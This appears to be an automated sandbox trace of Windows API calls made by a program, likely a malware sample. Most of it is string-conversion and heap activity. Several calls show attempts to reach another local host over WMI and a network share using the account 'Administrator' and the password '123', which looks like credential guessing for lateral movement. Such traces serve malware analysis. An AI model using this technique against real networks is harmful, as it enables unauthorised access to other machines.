!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤") returned 255 [0110.146] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0110.146] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x307420 [0110.146] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x307448, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽") returned 255 [0110.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽", cchWideChar=255, lpMultiByteStr=0x32a8d1, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fýýýý", lpUsedDefaultChar=0x0) returned 255 [0110.146] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x307420) returned 1 [0110.146] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x307420 | out: hHeap=0x230000) returned 1 [0110.146] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0110.146] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0110.146] GetLastError () returned 0x0 [0110.146] SetLastError (dwErrCode=0x0) [0110.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0110.146] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22c) returned 0x272da0 [0110.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a8, cbMultiByte=256, lpWideCharStr=0x272dc8, cchWideChar=256 | out: lpWideCharStr="") returned 256 [0110.146] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=256, lpCharType=0x307210 | out: lpCharType=0x307210) returned 1 [0110.146] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0110.147] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0110.147] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272488) returned 1 [0110.147] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272488 | out: hHeap=0x230000) returned 1 [0110.147] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddfa0) returned 1 [0110.147] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddfa0 | out: hHeap=0x230000) returned 1 [0110.147] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3228c0) returned 1 [0110.147] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3228c0 | out: hHeap=0x230000) returned 1 [0110.147] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3122f0) returned 1 [0110.147] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3122f0 | out: hHeap=0x230000) returned 1 [0110.147] GetLastError () returned 0x0 [0110.147] SetLastError (dwErrCode=0x0) [0110.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x1d15f89c | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x1d15f89c) returned 27 [0110.147] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x43) returned 0x312e80 [0110.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=27, lpMultiByteStr=0x312ea4, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x1d15f89c | out: lpMultiByteStr="English_United States.1252", lpUsedDefaultChar=0x1d15f89c) returned 27 [0110.147] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae50) returned 1 [0110.147] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae50 | out: hHeap=0x230000) returned 1 [0110.147] GetLastError () returned 0x0 [0110.147] SetLastError (dwErrCode=0x0) [0110.147] GetLastError () returned 0x0 [0110.147] SetLastError (dwErrCode=0x0) [0110.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdb8, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0110.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdb9, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0110.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdba, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0110.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbb, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0110.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbc, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbd, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbe, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbf, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc0, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc1, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc2, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc3, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc4, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0110.148] GetLastError () returned 0x0 [0110.148] SetLastError (dwErrCode=0x0) [0110.148] GetLastError () returned 0x0 [0110.148] SetLastError (dwErrCode=0x0) [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4dc, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4dd, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4de, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4df, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e0, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e1, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e2, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e3, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e4, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e5, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e6, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e7, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e8, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0110.148] GetLastError () returned 0x0 [0110.148] SetLastError (dwErrCode=0x0) [0110.148] GetLastError () returned 0x0 [0110.148] SetLastError (dwErrCode=0x0) [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x705530, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x705531, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0110.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x705532, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="3") returned 1 [0110.149] GetLastError () returned 0x0 [0110.149] SetLastError (dwErrCode=0x0) [0110.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4bca74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0110.149] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x3122f0 [0110.149] GetLastError () returned 0x0 [0110.149] SetLastError (dwErrCode=0x0) [0110.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4bca74, cbMultiByte=-1, lpWideCharStr=0x312310, cchWideChar=2 | out: lpWideCharStr="C") returned 2 [0110.149] GetLastError () returned 0x0 [0110.149] SetLastError (dwErrCode=0x0) [0110.149] GetLastError () returned 0x0 [0110.149] SetLastError (dwErrCode=0x0) [0110.149] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x3228c0 [0110.149] GetLastError () returned 0x0 [0110.149] SetLastError (dwErrCode=0x0) [0110.149] GetLastError () returned 0x0 [0110.149] SetLastError (dwErrCode=0x0) [0110.149] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x26ae50 [0110.149] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3070f0) returned 1 [0110.149] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0x230000) returned 1 [0110.149] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x31e300) returned 1 [0110.149] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x31e300 | out: hHeap=0x230000) returned 1 [0110.149] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x32a830) returned 1 [0110.149] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x32a830 | out: hHeap=0x230000) returned 1 [0110.149] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3123e0) returned 1 [0110.149] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3123e0 | out: hHeap=0x230000) returned 1 [0110.150] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x214e4b20) returned 1 [0110.150] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x214e4b20 | out: hHeap=0x230000) returned 1 [0110.150] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26a600) returned 1 [0110.150] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26a600 | out: hHeap=0x230000) returned 1 [0110.150] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x301d30) returned 1 [0110.150] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x301d30 | out: hHeap=0x230000) returned 1 [0110.150] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3122f0) returned 1 [0110.150] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3122f0 | out: hHeap=0x230000) returned 1 [0110.150] GetLastError () returned 0x0 [0110.150] SetLastError (dwErrCode=0x0) [0110.150] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x26a600 [0110.150] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312e80) returned 1 [0110.150] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312e80 | out: hHeap=0x230000) returned 1 [0110.150] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x26a5c8 [0110.150] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x26a590 [0110.150] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x26a558 [0110.150] WbemLocator:IWbemLocator:ConnectServer (in: This=0xfc60828, strNetworkResource="\\\\192.168.0.171\\root\\cimv2", strUser="Administrator", strPassword="123", strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1d15fa0c | out: ppNamespace=0x1d15fa0c*=0x0) returned 0x80070005 [0110.344] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26a558) returned 1 [0110.344] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26a558 | out: hHeap=0x230000) returned 1 [0110.344] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26a590) returned 1 [0110.344] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26a590 | out: hHeap=0x230000) returned 1 [0110.344] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26a5c8) returned 1 [0110.344] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26a5c8 | out: hHeap=0x230000) returned 1 [0110.344] WbemLocator:IUnknown:Release (This=0xfc60828) returned 0x0 [0110.344] CoUninitialize () [0110.509] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x26a638 [0110.509] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x26a6a8 [0110.509] WNetAddConnection2A (lpNetResource=0x1d15fcb4*(dwScope=0x1, dwType=0x0, dwDisplayType=0x9, dwUsage=0x0, lpLocalName=0x0, lpRemoteName="\\\\192.168.0.171", lpComment=0x0, lpProvider=0x0), lpPassword="123", lpUserName="Administrator", dwFlags=0x1) returned 0x52e [0112.468] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26a6a8) returned 1 [0112.468] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26a6a8 | out: hHeap=0x230000) returned 1 [0112.468] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26a638) returned 1 [0112.468] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26a638 | out: hHeap=0x230000) returned 1 [0112.468] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0112.468] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x2, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0112.547] CoCreateInstance (in: rclsid=0x492500*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x492430*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d15fa08 | out: ppv=0x1d15fa08*=0x11d50828) returned 0x0 [0112.563] GetLastError () returned 0x0 [0112.564] SetLastError (dwErrCode=0x0) [0112.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x312380 [0112.564] GetLastError () returned 0x0 [0112.564] SetLastError (dwErrCode=0x0) [0112.564] GetLastError () returned 0x0 [0112.564] SetLastError (dwErrCode=0x0) [0112.564] GetLastError () returned 0x0 [0112.564] SetLastError (dwErrCode=0x0) [0112.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x301d30 [0112.564] GetLastError () returned 0x0 [0112.564] SetLastError (dwErrCode=0x0) [0112.564] GetLastError () returned 0x0 [0112.564] SetLastError (dwErrCode=0x0) [0112.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5e) returned 0x214e4d90 [0112.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x269cd0 [0112.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x3123e0 [0112.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x324) returned 0x3070f0 [0112.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1a4) returned 0x31e300 [0112.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1a4) returned 0x32a830 [0112.565] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x125) returned 0x272488 [0112.565] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1d15f2cc | out: lpCPInfo=0x1d15f2cc) returned 1 [0112.565] GetLastError () returned 0x0 [0112.565] SetLastError (dwErrCode=0x0) [0112.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0112.565] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x272da0 [0112.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x272dc8, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤") returned 255 [0112.565] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0112.565] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x307420 [0112.565] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x307448, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 255 [0112.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 